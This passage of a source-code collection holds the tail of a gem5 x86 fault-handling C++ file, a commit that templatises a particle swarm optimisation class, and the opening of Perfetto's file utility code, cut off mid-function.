binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution;\n * neither the name of the copyright holders nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n * Authors: Gabe Black\n *\/\n\n#include \"arch\/x86\/generated\/decoder.hh\"\n#include \"arch\/x86\/faults.hh\"\n#include \"arch\/x86\/isa_traits.hh\"\n#include \"base\/trace.hh\"\n#include \"cpu\/thread_context.hh\"\n#include \"debug\/Faults.hh\"\n#include \"sim\/full_system.hh\"\n\nnamespace X86ISA\n{\n void X86FaultBase::invoke(ThreadContext * tc, StaticInstPtr inst)\n {\n if (!FullSystem) {\n FaultBase::invoke(tc, inst);\n return;\n }\n\n PCState pcState = tc->pcState();\n Addr pc = pcState.pc();\n DPRINTF(Faults, \"RIP %#x: vector %d: %s\\n\",\n pc, vector, describe());\n using namespace X86ISAInst::RomLabels;\n HandyM5Reg m5reg = tc->readMiscRegNoEffect(MISCREG_M5_REG);\n MicroPC entry;\n if (m5reg.mode == LongMode) {\n if (isSoft()) {\n entry = extern_label_longModeSoftInterrupt;\n } else {\n entry = extern_label_longModeInterrupt;\n }\n } else {\n entry = extern_label_legacyModeInterrupt;\n }\n tc->setIntReg(INTREG_MICRO(1), vector);\n tc->setIntReg(INTREG_MICRO(7), pc);\n if (errorCode != (uint64_t)(-1)) {\n if (m5reg.mode == LongMode) {\n entry = extern_label_longModeInterruptWithError;\n } else {\n panic(\"Legacy mode interrupts with error codes \"\n \"aren't implementde.\\n\");\n }\n \/\/ Software interrupts shouldn't have error codes. If one\n \/\/ does, there would need to be microcode to set it up.\n assert(!isSoft());\n tc->setIntReg(INTREG_MICRO(15), errorCode);\n }\n pcState.upc(romMicroPC(entry));\n pcState.nupc(romMicroPC(entry) + 1);\n tc->pcState(pcState);\n }\n\n std::string\n X86FaultBase::describe() const\n {\n std::stringstream ss;\n ccprintf(ss, \"%s\", mnemonic());\n if (errorCode != (uint64_t)(-1)) {\n ccprintf(ss, \"(%#x)\", errorCode);\n }\n\n return ss.str();\n }\n \n void X86Trap::invoke(ThreadContext * tc, StaticInstPtr inst)\n {\n X86FaultBase::invoke(tc);\n if (!FullSystem)\n return;\n\n \/\/ This is the same as a fault, but it happens -after- the\n \/\/ instruction.\n PCState pc = tc->pcState();\n pc.uEnd();\n }\n\n void X86Abort::invoke(ThreadContext * tc, StaticInstPtr inst)\n {\n panic(\"Abort exception!\");\n }\n\n void\n InvalidOpcode::invoke(ThreadContext * tc, StaticInstPtr inst)\n {\n if (FullSystem) {\n X86Fault::invoke(tc, inst);\n } else {\n panic(\"Unrecognized\/invalid instruction executed:\\n %s\",\n inst->machInst);\n }\n }\n\n void PageFault::invoke(ThreadContext * tc, StaticInstPtr inst)\n {\n if (FullSystem) {\n HandyM5Reg m5reg = tc->readMiscRegNoEffect(MISCREG_M5_REG);\n X86FaultBase::invoke(tc);\n \/*\n * If something bad happens while trying to enter the page fault\n * handler, I'm pretty sure that's a double fault and then all\n * bets are off. That means it should be safe to update this\n * state now.\n *\/\n if (m5reg.mode == LongMode) {\n tc->setMiscReg(MISCREG_CR2, addr);\n } else {\n tc->setMiscReg(MISCREG_CR2, (uint32_t)addr);\n }\n } else {\n PageFaultErrorCode code = errorCode;\n const char *modeStr = \"\";\n if (code.fetch)\n modeStr = \"execute\";\n else if (code.write)\n modeStr = \"write\";\n else\n modeStr = \"read\";\n panic(\"Tried to %s unmapped address %#x.\\n\", modeStr, addr);\n }\n }\n\n std::string\n PageFault::describe() const\n {\n std::stringstream ss;\n ccprintf(ss, \"%s at %#x\", X86FaultBase::describe(), addr);\n return ss.str();\n }\n\n void\n InitInterrupt::invoke(ThreadContext *tc, StaticInstPtr inst)\n {\n DPRINTF(Faults, \"Init interrupt.\\n\");\n \/\/ The otherwise unmodified integer registers should be set to 0.\n for (int index = 0; index < NUM_INTREGS; index++) {\n tc->setIntReg(index, 0);\n }\n\n CR0 cr0 = tc->readMiscReg(MISCREG_CR0);\n CR0 newCR0 = 1 << 4;\n newCR0.cd = cr0.cd;\n newCR0.nw = cr0.nw;\n tc->setMiscReg(MISCREG_CR0, newCR0);\n tc->setMiscReg(MISCREG_CR2, 0);\n tc->setMiscReg(MISCREG_CR3, 0);\n tc->setMiscReg(MISCREG_CR4, 0);\n\n tc->setMiscReg(MISCREG_RFLAGS, 0x0000000000000002ULL);\n\n tc->setMiscReg(MISCREG_EFER, 0);\n\n SegAttr dataAttr = 0;\n dataAttr.dpl = 0;\n dataAttr.unusable = 0;\n dataAttr.defaultSize = 0;\n dataAttr.longMode = 0;\n dataAttr.avl = 0;\n dataAttr.granularity = 0;\n dataAttr.present = 1;\n dataAttr.type = 3;\n dataAttr.writable = 1;\n dataAttr.readable = 1;\n dataAttr.expandDown = 0;\n dataAttr.system = 1;\n\n for (int seg = 0; seg != NUM_SEGMENTREGS; seg++) {\n tc->setMiscReg(MISCREG_SEG_SEL(seg), 0);\n tc->setMiscReg(MISCREG_SEG_BASE(seg), 0);\n tc->setMiscReg(MISCREG_SEG_EFF_BASE(seg), 0);\n tc->setMiscReg(MISCREG_SEG_LIMIT(seg), 0xffff);\n tc->setMiscReg(MISCREG_SEG_ATTR(seg), dataAttr);\n }\n\n SegAttr codeAttr = 0;\n codeAttr.dpl = 0;\n codeAttr.unusable = 0;\n codeAttr.defaultSize = 0;\n codeAttr.longMode = 0;\n codeAttr.avl = 0;\n codeAttr.granularity = 0;\n codeAttr.present = 1;\n codeAttr.type = 10;\n codeAttr.writable = 0;\n codeAttr.readable = 1;\n codeAttr.expandDown = 0;\n codeAttr.system = 1;\n\n tc->setMiscReg(MISCREG_CS, 0xf000);\n tc->setMiscReg(MISCREG_CS_BASE,\n 0x00000000ffff0000ULL);\n tc->setMiscReg(MISCREG_CS_EFF_BASE,\n 0x00000000ffff0000ULL);\n \/\/ This has the base value pre-added.\n tc->setMiscReg(MISCREG_CS_LIMIT, 0xffffffff);\n tc->setMiscReg(MISCREG_CS_ATTR, codeAttr);\n\n PCState pc(0x000000000000fff0ULL + tc->readMiscReg(MISCREG_CS_BASE));\n tc->pcState(pc);\n\n tc->setMiscReg(MISCREG_TSG_BASE, 0);\n tc->setMiscReg(MISCREG_TSG_LIMIT, 0xffff);\n\n tc->setMiscReg(MISCREG_IDTR_BASE, 0);\n tc->setMiscReg(MISCREG_IDTR_LIMIT, 0xffff);\n\n tc->setMiscReg(MISCREG_TSL, 0);\n tc->setMiscReg(MISCREG_TSL_BASE, 0);\n tc->setMiscReg(MISCREG_TSL_LIMIT, 0xffff);\n tc->setMiscReg(MISCREG_TSL_ATTR, 0);\n\n tc->setMiscReg(MISCREG_TR, 0);\n tc->setMiscReg(MISCREG_TR_BASE, 0);\n tc->setMiscReg(MISCREG_TR_LIMIT, 0xffff);\n tc->setMiscReg(MISCREG_TR_ATTR, 0);\n\n \/\/ This value should be the family\/model\/stepping of the processor.\n \/\/ (page 418). It should be consistent with the value from CPUID, but\n \/\/ the actual value probably doesn't matter much.\n tc->setIntReg(INTREG_RDX, 0);\n\n tc->setMiscReg(MISCREG_DR0, 0);\n tc->setMiscReg(MISCREG_DR1, 0);\n tc->setMiscReg(MISCREG_DR2, 0);\n tc->setMiscReg(MISCREG_DR3, 0);\n\n tc->setMiscReg(MISCREG_DR6, 0x00000000ffff0ff0ULL);\n tc->setMiscReg(MISCREG_DR7, 0x0000000000000400ULL);\n\n tc->setMiscReg(MISCREG_MXCSR, 0x1f80);\n\n \/\/ Update the handy M5 Reg.\n tc->setMiscReg(MISCREG_M5_REG, 0);\n MicroPC entry = X86ISAInst::RomLabels::extern_label_initIntHalt;\n pc.upc(romMicroPC(entry));\n pc.nupc(romMicroPC(entry) + 1);\n tc->pcState(pc);\n }\n\n void\n StartupInterrupt::invoke(ThreadContext *tc, StaticInstPtr inst)\n {\n DPRINTF(Faults, \"Startup interrupt with vector %#x.\\n\", vector);\n HandyM5Reg m5Reg = tc->readMiscReg(MISCREG_M5_REG);\n if (m5Reg.mode != LegacyMode || m5Reg.submode != RealMode) {\n panic(\"Startup IPI recived outside of real mode. \"\n \"Don't know what to do. %d, %d\", m5Reg.mode, m5Reg.submode);\n }\n\n tc->setMiscReg(MISCREG_CS, vector << 8);\n tc->setMiscReg(MISCREG_CS_BASE, vector << 12);\n tc->setMiscReg(MISCREG_CS_EFF_BASE, vector << 12);\n \/\/ This has the base value pre-added.\n tc->setMiscReg(MISCREG_CS_LIMIT, 0xffff);\n\n tc->pcState(tc->readMiscReg(MISCREG_CS_BASE));\n }\n} \/\/ namespace X86ISA\n\n<|endoftext|>"} {"text":"<commit_before>namespace mant {\n class StandardParticleSwarmOptimisation2011 : public PopulationBasedOptimisationAlgorithm<double> {\n public:\n inline explicit StandardParticleSwarmOptimisation2011(\n const std::shared_ptr<OptimisationProblem<double>> optimisationProblem,\n const unsigned int populationSize) noexcept;\n\n inline void setNeighbourhoodProbability(\n const double neighbourhoodProbability) noexcept;\n\n inline void setMaximalAcceleration(\n const double maximalAcceleration) noexcept;\n inline void setMaximalLocalAttraction(\n const double maximalLocalAttraction) noexcept;\n inline void setMaximalGlobalAttraction(\n const double maximalGlobalAttraction) noexcept;\n\n inline void setMaximalSwarmConvergence(\n const double maximalSwarmConvergence) noexcept;\n\n inline std::string toString() const noexcept override;\n\n protected:\n double neighbourhoodProbability_;\n\n double maximalAcceleration_;\n double maximalLocalAttraction_;\n double maximalGlobalAttraction_;\n\n double maximalSwarmConvergence_;\n\n arma::Mat<double> particles_;\n arma::Mat<double> velocities_;\n\n unsigned int particleIndex_;\n arma::Col<double> particle_;\n\n arma::Col<unsigned int> neighbourhoodParticlesIndecies_;\n unsigned int neighbourhoodBestParticleIndex_;\n\n arma::Col<double> attractionCenter_;\n\n arma::Mat<double> localBestSolutions_;\n arma::Row<double> localBestSoftConstraintsValues_;\n arma::Row<double> localBestObjectiveValues_;\n\n\n bool randomizeTopology_;\n\n arma::Mat<unsigned int> topology_;\n\n inline void optimiseImplementation() noexcept override;\n\n inline void initialiseSwarm() noexcept;\n\n inline arma::Mat<unsigned int> getRandomNeighbourhoodTopology() noexcept;\n\n inline double getAcceleration() noexcept;\n inline arma::Col<double> getVelocity() noexcept;\n };\n\n \/\/\n \/\/ Implementation\n \/\/\n\n inline StandardParticleSwarmOptimisation2011::StandardParticleSwarmOptimisation2011(\n const std::shared_ptr<OptimisationProblem<double>> optimisationProblem,\n const unsigned int populationSize) noexcept\n : PopulationBasedOptimisationAlgorithm<double>(optimisationProblem, populationSize),\n localBestObjectiveValues_(this->populationSize_),\n randomizeTopology_(true) {\n setNeighbourhoodProbability(std::pow(1.0 - 1.0 \/ static_cast<double>(this->populationSize_), 3.0));\n setMaximalAcceleration(1.0 \/ (2.0 * std::log(2.0)));\n setMaximalLocalAttraction(0.5 + std::log(2.0));\n setMaximalGlobalAttraction(maximalLocalAttraction_);\n setMaximalSwarmConvergence(0.05); \/\/ TODO Check value within the paper\n }\n\n inline void StandardParticleSwarmOptimisation2011::optimiseImplementation() noexcept {\n initialiseSwarm();\n\n while(!this->isFinished() && !this->isTerminated()) {\n if (randomizeTopology_) {\n topology_ = getRandomNeighbourhoodTopology();\n randomizeTopology_ = false;\n }\n\n const arma::Col<unsigned int>& permutation = getRandomPermutation(this->populationSize_);\n for (std::size_t n = 0; n < this->populationSize_; ++n) {\n ++this->numberOfIterations_;\n\n particleIndex_ = permutation(n);\n particle_ = particles_.col(particleIndex_);\n\n neighbourhoodParticlesIndecies_ = arma::find(topology_.col(particleIndex_));\n static_cast<arma::Col<double>>(localBestObjectiveValues_.elem(neighbourhoodParticlesIndecies_)).min(neighbourhoodBestParticleIndex_);\n neighbourhoodBestParticleIndex_ = neighbourhoodParticlesIndecies_(neighbourhoodBestParticleIndex_);\n\n if (neighbourhoodBestParticleIndex_ == particleIndex_) {\n attractionCenter_ = (maximalLocalAttraction_ * (localBestSolutions_.col(particleIndex_) - particle_)) \/ 2.0;\n } else {\n attractionCenter_ = (maximalLocalAttraction_ * (localBestSolutions_.col(particleIndex_) - particle_) + maximalGlobalAttraction_ * (localBestSolutions_.col(neighbourhoodBestParticleIndex_) - particle_)) \/ 3.0;\n }\n\n arma::Col<double> velocityCandidate = maximalAcceleration_ * getAcceleration() * velocities_.col(particleIndex_) + getVelocity() * arma::norm(attractionCenter_) + attractionCenter_;\n arma::Col<double> solutionCandidate = particle_ + velocityCandidate;\n\n const arma::Col<unsigned int>& belowLowerBound = arma::find(solutionCandidate < this->getLowerBounds());\n const arma::Col<unsigned int>& aboveUpperBound = arma::find(solutionCandidate > this->getUpperBounds());\n\n velocityCandidate.elem(belowLowerBound) *= -0.5;\n velocityCandidate.elem(aboveUpperBound) *= -0.5;\n\n solutionCandidate.elem(belowLowerBound) = this->getLowerBounds().elem(belowLowerBound);\n solutionCandidate.elem(aboveUpperBound) = this->getUpperBounds().elem(aboveUpperBound);\n\n velocities_.col(particleIndex_) = velocityCandidate;\n particles_.col(particleIndex_) = solutionCandidate;\n\n const double& objectiveValue = this->getObjectiveValue(solutionCandidate) + this->getSoftConstraintsValue(solutionCandidate);\n\n if (objectiveValue < localBestObjectiveValues_(particleIndex_)) {\n localBestObjectiveValues_(particleIndex_) = objectiveValue;\n localBestSolutions_.col(particleIndex_) = solutionCandidate;\n }\n\n if (objectiveValue < this->bestObjectiveValue_) {\n this->bestObjectiveValue_ = objectiveValue;\n this->bestParameter_ = solutionCandidate;\n } else {\n randomizeTopology_ = true;\n }\n\n if (this->isFinished() || this->isTerminated()) {\n break;\n }\n }\n\n if (static_cast<arma::Row<double>>(arma::stddev(particles_, 1)).max() < maximalSwarmConvergence_) {\n initialiseSwarm();\n }\n }\n }\n\n inline void StandardParticleSwarmOptimisation2011::initialiseSwarm() noexcept {\n particles_ = arma::randu<arma::Mat<double>>(this->numberOfDimensions_, this->populationSize_);\n particles_.each_col() %= this->getUpperBounds() - this->getLowerBounds();\n particles_.each_col() += this->getLowerBounds();\n\n velocities_ = arma::randu<arma::Mat<double>>(this->numberOfDimensions_, this->populationSize_);\n velocities_.each_col() %= this->getUpperBounds() - this->getLowerBounds();\n velocities_.each_col() += this->getLowerBounds();\n velocities_ -= particles_;\n\n localBestSolutions_ = particles_;\n\n for (std::size_t n = 0; n < this->populationSize_; ++n) {\n ++this->numberOfIterations_;\n\n arma::Col<double> localBestSolution = localBestSolutions_.col(n);\n double localBestObjectiveValue = this->getObjectiveValue(localBestSolution) + this->getSoftConstraintsValue(localBestSolution);\n localBestObjectiveValues_(n) = localBestObjectiveValue;\n\n if (localBestObjectiveValue < this->bestObjectiveValue_) {\n this->bestParameter_ = localBestSolution;\n this->bestObjectiveValue_ = localBestObjectiveValue;\n }\n\n if (this->isFinished() || this->isTerminated()) {\n break;\n }\n }\n\n randomizeTopology_ = true;\n }\n\n inline double StandardParticleSwarmOptimisation2011::getAcceleration() noexcept {\n return std::uniform_real_distribution<double>(0.0, 1.0)(Rng::getGenerator());\n }\n\n inline arma::Col<double> StandardParticleSwarmOptimisation2011::getVelocity() noexcept {\n return arma::normalise(arma::randn<arma::Col<double>>(this->numberOfDimensions_)) * std::uniform_real_distribution<double>(0.0, 1.0)(Rng::getGenerator());\n }\n\n inline arma::Mat<unsigned int> StandardParticleSwarmOptimisation2011::getRandomNeighbourhoodTopology() noexcept {\n arma::Mat<unsigned int> topology = (arma::randu<arma::Mat<double>>(this->populationSize_, this->populationSize_) <= neighbourhoodProbability_);\n topology.diag() += 1.0;\n\n return topology;\n }\n\n inline void StandardParticleSwarmOptimisation2011::setNeighbourhoodProbability(\n const double neighbourhoodProbability) noexcept {\n neighbourhoodProbability_ = neighbourhoodProbability;\n }\n\n inline void StandardParticleSwarmOptimisation2011::setMaximalAcceleration(\n const double maximalAcceleration) noexcept {\n maximalAcceleration_ = maximalAcceleration;\n }\n\n inline void StandardParticleSwarmOptimisation2011::setMaximalLocalAttraction(\n const double maximalLocalAttraction) noexcept {\n maximalLocalAttraction_ = maximalLocalAttraction;\n }\n\n inline void StandardParticleSwarmOptimisation2011::setMaximalGlobalAttraction(\n const double maximalGlobalAttraction) noexcept {\n maximalGlobalAttraction_ = maximalGlobalAttraction;\n }\n\n inline void StandardParticleSwarmOptimisation2011::setMaximalSwarmConvergence(\n const double maximalSwarmConvergence) noexcept {\n maximalSwarmConvergence_ = maximalSwarmConvergence;\n }\n\n inline std::string StandardParticleSwarmOptimisation2011::toString() const noexcept {\n return \"StandardParticleSwarmOptimisation2011\";\n }\n}\n<commit_msg>Added template information<commit_after>namespace mant {\n template <typename T>\n class StandardParticleSwarmOptimisation2011 : public PopulationBasedOptimisationAlgorithm<T> {\n public:\n inline explicit StandardParticleSwarmOptimisation2011(\n const std::shared_ptr<OptimisationProblem<T>> optimisationProblem,\n const unsigned int populationSize) noexcept;\n\n inline void setNeighbourhoodProbability(\n const T neighbourhoodProbability) noexcept;\n\n inline void setMaximalAcceleration(\n const T maximalAcceleration) noexcept;\n inline void setMaximalLocalAttraction(\n const T maximalLocalAttraction) noexcept;\n inline void setMaximalGlobalAttraction(\n const T maximalGlobalAttraction) noexcept;\n\n inline void setMaximalSwarmConvergence(\n const T maximalSwarmConvergence) noexcept;\n\n inline std::string toString() const noexcept override;\n\n protected:\n T neighbourhoodProbability_;\n\n T maximalAcceleration_;\n T maximalLocalAttraction_;\n T maximalGlobalAttraction_;\n\n T maximalSwarmConvergence_;\n\n arma::Mat<T> particles_;\n arma::Mat<T> velocities_;\n\n unsigned int particleIndex_;\n arma::Col<T> particle_;\n\n arma::Col<unsigned int> neighbourhoodParticlesIndecies_;\n unsigned int neighbourhoodBestParticleIndex_;\n\n arma::Col<T> attractionCenter_;\n\n arma::Mat<T> localBestSolutions_;\n arma::Row<double> localBestSoftConstraintsValues_;\n arma::Row<double> localBestObjectiveValues_;\n\n\n bool randomizeTopology_;\n\n arma::Mat<unsigned int> topology_;\n\n inline void optimiseImplementation() noexcept override;\n\n inline void initialiseSwarm() noexcept;\n\n inline arma::Mat<unsigned int> getRandomNeighbourhoodTopology() noexcept;\n\n inline T getAcceleration() noexcept;\n inline arma::Col<T> getVelocity() noexcept;\n };\n\n \/\/\n \/\/ Implementation\n \/\/\n\n template <typename T>\n inline StandardParticleSwarmOptimisation2011<T>::StandardParticleSwarmOptimisation2011(\n const std::shared_ptr<OptimisationProblem<T>> optimisationProblem,\n const unsigned int populationSize) noexcept\n : PopulationBasedOptimisationAlgorithm<T>(optimisationProblem, populationSize),\n localBestObjectiveValues_(this->populationSize_),\n randomizeTopology_(true) {\n setNeighbourhoodProbability(std::pow(1.0 - 1.0 \/ static_cast<T>(this->populationSize_), 3.0));\n setMaximalAcceleration(1.0 \/ (2.0 * std::log(2.0)));\n setMaximalLocalAttraction(0.5 + std::log(2.0));\n setMaximalGlobalAttraction(maximalLocalAttraction_);\n setMaximalSwarmConvergence(0.05); \/\/ TODO Check value within the paper\n }\n\n template <typename T>\n inline void StandardParticleSwarmOptimisation2011<T>::optimiseImplementation() noexcept {\n initialiseSwarm();\n\n while(!this->isFinished() && !this->isTerminated()) {\n if (randomizeTopology_) {\n topology_ = getRandomNeighbourhoodTopology();\n randomizeTopology_ = false;\n }\n\n const arma::Col<unsigned int>& permutation = getRandomPermutation(this->populationSize_);\n for (std::size_t n = 0; n < this->populationSize_; ++n) {\n ++this->numberOfIterations_;\n\n particleIndex_ = permutation(n);\n particle_ = particles_.col(particleIndex_);\n\n neighbourhoodParticlesIndecies_ = arma::find(topology_.col(particleIndex_));\n static_cast<arma::Col<T>>(localBestObjectiveValues_.elem(neighbourhoodParticlesIndecies_)).min(neighbourhoodBestParticleIndex_);\n neighbourhoodBestParticleIndex_ = neighbourhoodParticlesIndecies_(neighbourhoodBestParticleIndex_);\n\n if (neighbourhoodBestParticleIndex_ == particleIndex_) {\n attractionCenter_ = (maximalLocalAttraction_ * (localBestSolutions_.col(particleIndex_) - particle_)) \/ 2.0;\n } else {\n attractionCenter_ = (maximalLocalAttraction_ * (localBestSolutions_.col(particleIndex_) - particle_) + maximalGlobalAttraction_ * (localBestSolutions_.col(neighbourhoodBestParticleIndex_) - particle_)) \/ 3.0;\n }\n\n arma::Col<T> velocityCandidate = maximalAcceleration_ * getAcceleration() * velocities_.col(particleIndex_) + getVelocity() * arma::norm(attractionCenter_) + attractionCenter_;\n arma::Col<T> solutionCandidate = particle_ + velocityCandidate;\n\n const arma::Col<unsigned int>& belowLowerBound = arma::find(solutionCandidate < this->getLowerBounds());\n const arma::Col<unsigned int>& aboveUpperBound = arma::find(solutionCandidate > this->getUpperBounds());\n\n velocityCandidate.elem(belowLowerBound) *= -0.5;\n velocityCandidate.elem(aboveUpperBound) *= -0.5;\n\n solutionCandidate.elem(belowLowerBound) = this->getLowerBounds().elem(belowLowerBound);\n solutionCandidate.elem(aboveUpperBound) = this->getUpperBounds().elem(aboveUpperBound);\n\n velocities_.col(particleIndex_) = velocityCandidate;\n particles_.col(particleIndex_) = solutionCandidate;\n\n const double& objectiveValue = this->getObjectiveValue(solutionCandidate) + this->getSoftConstraintsValue(solutionCandidate);\n\n if (objectiveValue < localBestObjectiveValues_(particleIndex_)) {\n localBestObjectiveValues_(particleIndex_) = objectiveValue;\n localBestSolutions_.col(particleIndex_) = solutionCandidate;\n }\n\n if (objectiveValue < this->bestObjectiveValue_) {\n this->bestObjectiveValue_ = objectiveValue;\n this->bestParameter_ = solutionCandidate;\n } else {\n randomizeTopology_ = true;\n }\n\n if (this->isFinished() || this->isTerminated()) {\n break;\n }\n }\n\n if (static_cast<arma::Row<T>>(arma::stddev(particles_, 1)).max() < maximalSwarmConvergence_) {\n initialiseSwarm();\n }\n }\n }\n\n template <typename T>\n inline void StandardParticleSwarmOptimisation2011<T>::initialiseSwarm() noexcept {\n particles_ = arma::randu<arma::Mat<T>>(this->numberOfDimensions_, this->populationSize_);\n particles_.each_col() %= this->getUpperBounds() - this->getLowerBounds();\n particles_.each_col() += this->getLowerBounds();\n\n velocities_ = arma::randu<arma::Mat<T>>(this->numberOfDimensions_, this->populationSize_);\n velocities_.each_col() %= this->getUpperBounds() - this->getLowerBounds();\n velocities_.each_col() += this->getLowerBounds();\n velocities_ -= particles_;\n\n localBestSolutions_ = particles_;\n\n for (std::size_t n = 0; n < this->populationSize_; ++n) {\n ++this->numberOfIterations_;\n\n arma::Col<double> localBestSolution = localBestSolutions_.col(n);\n double localBestObjectiveValue = this->getObjectiveValue(localBestSolution) + this->getSoftConstraintsValue(localBestSolution);\n localBestObjectiveValues_(n) = localBestObjectiveValue;\n\n if (localBestObjectiveValue < this->bestObjectiveValue_) {\n this->bestParameter_ = localBestSolution;\n this->bestObjectiveValue_ = localBestObjectiveValue;\n }\n\n if (this->isFinished() || this->isTerminated()) {\n break;\n }\n }\n\n randomizeTopology_ = true;\n }\n\n template <typename T>\n inline T StandardParticleSwarmOptimisation2011<T>::getAcceleration() noexcept {\n return std::uniform_real_distribution<T>(0.0, 1.0)(Rng::getGenerator());\n }\n\n template <typename T>\n inline arma::Col<T> StandardParticleSwarmOptimisation2011<T>::getVelocity() noexcept {\n return arma::normalise(arma::randn<arma::Col<T>>(this->numberOfDimensions_)) * std::uniform_real_distribution<T>(0.0, 1.0)(Rng::getGenerator());\n }\n\n template <typename T>\n inline arma::Mat<unsigned int> StandardParticleSwarmOptimisation2011<T>::getRandomNeighbourhoodTopology() noexcept {\n arma::Mat<unsigned int> topology = (arma::randu<arma::Mat<T>>(this->populationSize_, this->populationSize_) <= neighbourhoodProbability_);\n topology.diag() += 1.0;\n\n return topology;\n }\n\n template <typename T>\n inline void StandardParticleSwarmOptimisation2011<T>::setNeighbourhoodProbability(\n const T neighbourhoodProbability) noexcept {\n neighbourhoodProbability_ = neighbourhoodProbability;\n }\n\n template <typename T>\n inline void StandardParticleSwarmOptimisation2011<T>::setMaximalAcceleration(\n const T maximalAcceleration) noexcept {\n maximalAcceleration_ = maximalAcceleration;\n }\n\n template <typename T>\n inline void StandardParticleSwarmOptimisation2011<T>::setMaximalLocalAttraction(\n const T maximalLocalAttraction) noexcept {\n maximalLocalAttraction_ = maximalLocalAttraction;\n }\n\n template <typename T>\n inline void StandardParticleSwarmOptimisation2011<T>::setMaximalGlobalAttraction(\n const T maximalGlobalAttraction) noexcept {\n maximalGlobalAttraction_ = maximalGlobalAttraction;\n }\n\n template <typename T>\n inline void StandardParticleSwarmOptimisation2011<T>::setMaximalSwarmConvergence(\n const T maximalSwarmConvergence) noexcept {\n maximalSwarmConvergence_ = maximalSwarmConvergence;\n }\n\n template <typename T>\n inline std::string StandardParticleSwarmOptimisation2011<T>::toString() const noexcept {\n return \"StandardParticleSwarmOptimisation2011\";\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (C) 2018 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"perfetto\/ext\/base\/file_utils.h\"\n\n#include <sys\/stat.h>\n#include <sys\/types.h>\n\n#include <algorithm>\n#include <deque>\n#include <string>\n#include <vector>\n\n#include \"perfetto\/base\/build_config.h\"\n#include \"perfetto\/base\/logging.h\"\n#include \"perfetto\/base\/platform_handle.h\"\n#include \"perfetto\/base\/status.h\"\n#include \"perfetto\/ext\/base\/scoped_file.h\"\n#include \"perfetto\/ext\/base\/utils.h\"\n\n#if PERFETTO_BUILDFLAG(PERFETTO_OS_WIN)\n#include <Windows.h>\n#include <direct.h>\n#include <io.h>\n#else\n#include <dirent.h>\n#include <unistd.h>\n#endif\n\nnamespace perfetto {\nnamespace base {\nnamespace {\nconstexpr size_t kBufSize = 2048;\n\n#if PERFETTO_BUILDFLAG(PERFETTO_OS_WIN)\n\/\/ Wrap FindClose to: (1) make the return unix-style; (2) deal with stdcall.\nint CloseFindHandle(HANDLE h) {\n return FindClose(h) ? 0 : -1;\n};\n#endif\n\n} \/\/ namespace\n\nssize_t Read(int fd, void* dst, size_t dst_size) {\n#if PERFETTO_BUILDFLAG(PERFETTO_OS_WIN)\n return _read(fd, dst, static_cast<unsigned>(dst_size));\n#else\n return PERFETTO_EINTR(read(fd, dst, dst_size));\n#endif\n}\n\nbool ReadFileDescriptor(int fd, std::string* out) {\n \/\/ Do not override existing data in string.\n size_t i = out->size();\n\n struct stat buf {};\n if (fstat(fd, &buf) != -1) {\n if (buf.st_size > 0)\n out->resize(i + static_cast<size_t>(buf.st_size));\n }\n\n ssize_t bytes_read;\n for (;;) {\n if (out->size() < i + kBufSize)\n out->resize(out->size() + kBufSize);\n\n bytes_read = Read(fd, &((*out)[i]), kBufSize);\n if (bytes_read > 0) {\n i += static_cast<size_t>(bytes_read);\n } else {\n out->resize(i);\n return bytes_read == 0;\n }\n }\n}\n\nbool ReadPlatformHandle(PlatformHandle h, std::string* out) {\n#if PERFETTO_BUILDFLAG(PERFETTO_OS_WIN)\n \/\/ Do not override existing data in string.\n size_t i = out->size();\n\n for (;;) {\n if (out->size() < i + kBufSize)\n out->resize(out->size() + kBufSize);\n DWORD bytes_read = 0;\n auto res = ::ReadFile(h, &((*out)[i]), kBufSize, &bytes_read, nullptr);\n if (res && bytes_read > 0) {\n i += static_cast<size_t>(bytes_read);\n } else {\n out->resize(i);\n const bool is_eof = res && bytes_read == 0;\n auto err = res ? 0 : GetLastError();\n \/\/ The \"Broken pipe\" error on Windows is slighly different than Unix:\n \/\/ On Unix: a \"broken pipe\" error can happen only on the writer side. On\n \/\/ the reader there is no broken pipe, just a EOF.\n \/\/ On windows: the reader also sees a broken pipe error.\n \/\/ Here we normalize on the Unix behavior, treating broken pipe as EOF.\n return is_eof || err == ERROR_BROKEN_PIPE;\n }\n }\n#else\n return ReadFileDescriptor(h, out);\n#endif\n}\n\nbool ReadFileStream(FILE* f, std::string* out) {\n return ReadFileDescriptor(fileno(f), out);\n}\n\nbool ReadFile(const std::string& path, std::string* out) {\n base::ScopedFile fd = base::OpenFile(path, O_RDONLY);\n if (!fd)\n return false;\n\n return ReadFileDescriptor(*fd, out);\n}\n\nssize_t WriteAll(int fd, const void* buf, size_t count) {\n size_t written = 0;\n while (written < count) {\n \/\/ write() on windows takes an unsigned int size.\n uint32_t bytes_left = static_cast<uint32_t>(\n std::min(count - written, 